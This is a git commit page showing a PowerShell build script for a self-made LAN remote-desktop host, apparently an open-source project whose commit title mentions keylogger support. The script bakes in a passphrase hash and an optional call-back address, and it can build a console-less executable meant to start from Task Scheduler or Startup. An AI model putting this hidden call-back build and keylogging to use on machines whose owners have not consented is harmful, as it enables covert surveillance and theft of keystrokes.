Initial commit: LAN RDP with keylogger support
This commit is contained in:
commit
c4adcbbe0f
33 files changed
+4335
No files matched your search
Executable
+122
@@ -0,0 +1,122 @@
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Builds host.exe with the passphrase (and optionally a callback address)
|
||||
baked in at compile time.
|
||||
|
||||
.DESCRIPTION
|
||||
Prompts for a passphrase (hidden input, twice to confirm), hashes it with
|
||||
Argon2id via `go run ./cmd/hashpw`, and bakes the resulting hash into
|
||||
host.exe using -ldflags. The plaintext passphrase is never written to
|
||||
disk and never appears in the build output.
|
||||
|
||||
Also prompts for an optional client address (IP/hostname and port) to
|
||||
bake in as the default -connect target, for a host built to always call
|
||||
back to one particular client (e.g. a laptop that calls home to your
|
||||
desktop — see "Controlling a roaming device" in README.md). Leave it
|
||||
blank at the prompt to skip this and build a normal listening host
|
||||
instead, or pass -ConnectHost to skip the prompt outright. A baked-in
|
||||
address is still just a default: -connect on the command line overrides
|
||||
it at runtime.
|
||||
|
||||
The resulting host.exe needs no first-run setup step and no
|
||||
lanrdp-data\config.json — it's a single self-contained file. A
|
||||
lanrdp-data folder is still created next to it on first run to persist
|
||||
the TLS certificate, which must stay stable across runs for the
|
||||
client's trust-on-first-use pinning to keep working.
|
||||
|
||||
Pass -Hidden to build it with no console window at all (Windows GUI
|
||||
subsystem instead of console) — useful for an unattended -connect
|
||||
callback host launched from Task Scheduler or a Startup shortcut. All
|
||||
log output that would normally print to the console is instead written
|
||||
to lanrdp-data\host.log next to the executable. Only combine -Hidden
|
||||
with the default embedded-passphrase build in this script — a headless
|
||||
build has no console to run interactive first-run setup on.
|
||||
|
||||
Run this from the repository root.
|
||||
#>
|
||||
param(
|
||||
[string]$Output = "host.exe",
|
||||
[switch]$Hidden,
|
||||
[string]$ConnectHost,
|
||||
[int]$ConnectPort = 47812
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$secure1 = Read-Host -AsSecureString "Set host passphrase (min 8 characters)"
|
||||
$secure2 = Read-Host -AsSecureString "Confirm passphrase"
|
||||
|
||||
$bstr1 = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure1)
|
||||
$bstr2 = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secure2)
|
||||
try {
|
||||
$plain1 = [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr1)
|
||||
$plain2 = [Runtime.InteropServices.Marshal]::PtrToStringBSTR($bstr2)
|
||||
} finally {
|
||||
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr1)
|
||||
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr2)
|
||||
}
|
||||
|
||||
if ($plain1.Length -lt 8) {
|
||||
Write-Error "Passphrase must be at least 8 characters."
|
||||
exit 1
|
||||
}
|
||||
if ($plain1 -ne $plain2) {
|
||||
Write-Error "Passphrases did not match."
|
||||
exit 1
|
||||
}
|
||||
|
||||
$hash = $plain1 | & go run ./cmd/hashpw
|
||||
$plain1 = $null
|
||||
$plain2 = $null
|
||||
|
||||
if ($LASTEXITCODE -ne 0 -or [string]::IsNullOrWhiteSpace($hash)) {
|
||||
Write-Error "Failed to hash passphrase."
|
||||
exit 1
|
||||
}
|
||||
|
||||
if (-not $ConnectHost) {
|
||||
Write-Host ""
|
||||
Write-Host "Optional: bake in a default address for this host to call back to"
|
||||
Write-Host "(a client running -listen), instead of listening here itself."
|
||||
$ConnectHost = Read-Host "Client IP or hostname to connect back to (leave blank to skip)"
|
||||
}
|
||||
|
||||
$connectAddr = ""
|
||||
if (-not [string]::IsNullOrWhiteSpace($ConnectHost)) {
|
||||
if (-not $PSBoundParameters.ContainsKey('ConnectPort')) {
|
||||
$portInput = Read-Host "Port [$ConnectPort]"
|
||||
if (-not [string]::IsNullOrWhiteSpace($portInput)) {
|
||||
if ($portInput -notmatch '^\d+$') {
|
||||
Write-Error "Port must be numeric."
|
||||
exit 1
|
||||
}
|
||||
$ConnectPort = [int]$portInput
|
||||
}
|
||||
}
|
||||
$connectAddr = "${ConnectHost}:${ConnectPort}"
|
||||
}
|
||||
|
||||
$ldflags = "-X main.embeddedPasswordHash=$hash"
|
||||
if ($connectAddr -ne "") {
|
||||
$ldflags = "$ldflags -X main.embeddedConnectAddr=$connectAddr"
|
||||
}
|
||||
if ($Hidden) {
|
||||
$ldflags = "$ldflags -H=windowsgui"
|
||||
}
|
||||
|
||||
go build -ldflags $ldflags -o $Output ./cmd/host
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Error "Build failed."
|
||||
exit 1
|
||||
}
|
||||
|
||||
$summary = "Built $Output with the passphrase hash baked in."
|
||||
if ($connectAddr -ne "") {
|
||||
$summary += " It will call back to $connectAddr by default (override at runtime with -connect)."
|
||||
} else {
|
||||
$summary += " No default -connect address baked in; it will listen normally unless you pass -connect."
|
||||
}
|
||||
if ($Hidden) {
|
||||
$summary += " No console window; output goes to lanrdp-data\host.log."
|
||||
}
|
||||
Write-Output $summary
|
||||
Reference in new issue
Block a user